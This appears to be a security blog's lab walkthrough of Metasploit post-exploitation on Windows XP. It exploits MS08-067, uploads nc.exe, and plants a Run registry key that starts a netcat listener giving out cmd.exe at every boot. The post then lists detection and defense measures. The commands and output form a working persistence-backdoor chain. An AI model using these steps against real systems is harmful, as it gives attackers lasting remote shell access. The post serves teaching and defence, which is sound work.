Red Orbita
Home Linux & Systems Cybersecurity Cloud & DevOps Networks & Infrastructure SIEM & Monitoring DFIR & Threat Intel Development & Other All categories Projects About Tools

Upload Files and Create Key within the Registry [BackDoor]

Leer en espanol
May 1, 2010 Cybersecurity rokitoh
Upload Files and Create Key within the Registry [BackDoor]

Table of contents

Legal notice. This walkthrough targets an intentionally vulnerable lab machine. Only run these techniques against systems you own or are explicitly authorized to test. The exploit and OS below (MS08-067, Windows XP) are ancient and shown for historical/educational value; the persistence pattern, however, is still relevant to defenders today.

Once you land a Meterpreter session on a Windows host with Metasploit, you can do far more than pop a shell: you can upload your own tools and plant a backdoor that survives a reboot by writing an autorun key to the registry. This post walks through that classic post-exploitation chain end to end, then explains how to detect and prevent it.

1. Get a Meterpreter session

In the lab we exploit the legendary MS08-067 SMB vulnerability and stage a meterpreter/bind_tcp payload:

Bash
msf6 > use exploit/windows/smb/ms08_067_netapi
msf6 exploit(ms08_067_netapi) > set RHOSTS 192.168.0.3
msf6 exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
msf6 exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Meterpreter session 1 opened (192.168.0.2 -> 192.168.0.3:4444)

meterpreter >

2. Upload a tool to the target

Meterpreter's upload command copies a local file to the remote host. Here we push Netcat (nc.exe) into System32:

text
meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\Windows\\System32\\
[*] uploading  : /usr/share/windows-binaries/nc.exe -> C:\Windows\System32\
[*] uploaded   : /usr/share/windows-binaries/nc.exe -> C:\Windows\System32\nc.exe

3. Plant the backdoor in the registry

The HKLM\Software\Microsoft\Windows\CurrentVersion\Run key runs its values at every boot. We add one that starts Netcat as a listener bound to port 1234, handing out cmd.exe to whoever connects:

text
meterpreter > reg setval \
  -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \
  -v Hacked \
  -d 'C:\Windows\System32\nc.exe -L -d -p 1234 -e cmd.exe'
Successfully set Hacked of REG_SZ.

The -L flag makes Netcat listen persistently and -d detaches it from the console so nothing is visible on screen.

4. Trigger it and connect back

Reboot the box so the autorun key fires, then connect to the waiting shell:

text
meterpreter > reboot
Rebooting...

msf6 > connect 192.168.0.3 1234
[*] Connected to 192.168.0.3:1234
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator>

You now have a shell that comes back every time the machine boots.

The modern way

Hand-rolling a Netcat Run key is great for learning, but today Metasploit ships dedicated persistence modules that are cleaner and better documented:

Bash
meterpreter > run post/windows/manage/persistence_exe
# or, for a registry-based run key:
meterpreter > run post/windows/manage/sticky_keys

Detection and defense

  • Audit autorun locations. Sysinternals Autoruns and the Run/RunOnce keys are the first place responders look. A value pointing at nc.exe or an odd path is a red flag.
  • Application allow-listing (WDAC/AppLocker) stops unsigned binaries like an uploaded nc.exe from executing at all.
  • EDR & Sysmon flag process creation from Run keys, listeners spawning cmd.exe, and network binds on odd ports.
  • Patch and segment. MS08-067 was fixed in 2008; keep systems updated and block inbound SMB (445) at the host firewall.

Understanding exactly how an attacker turns a single session into durable access is what lets you write the detections that catch it.

Comments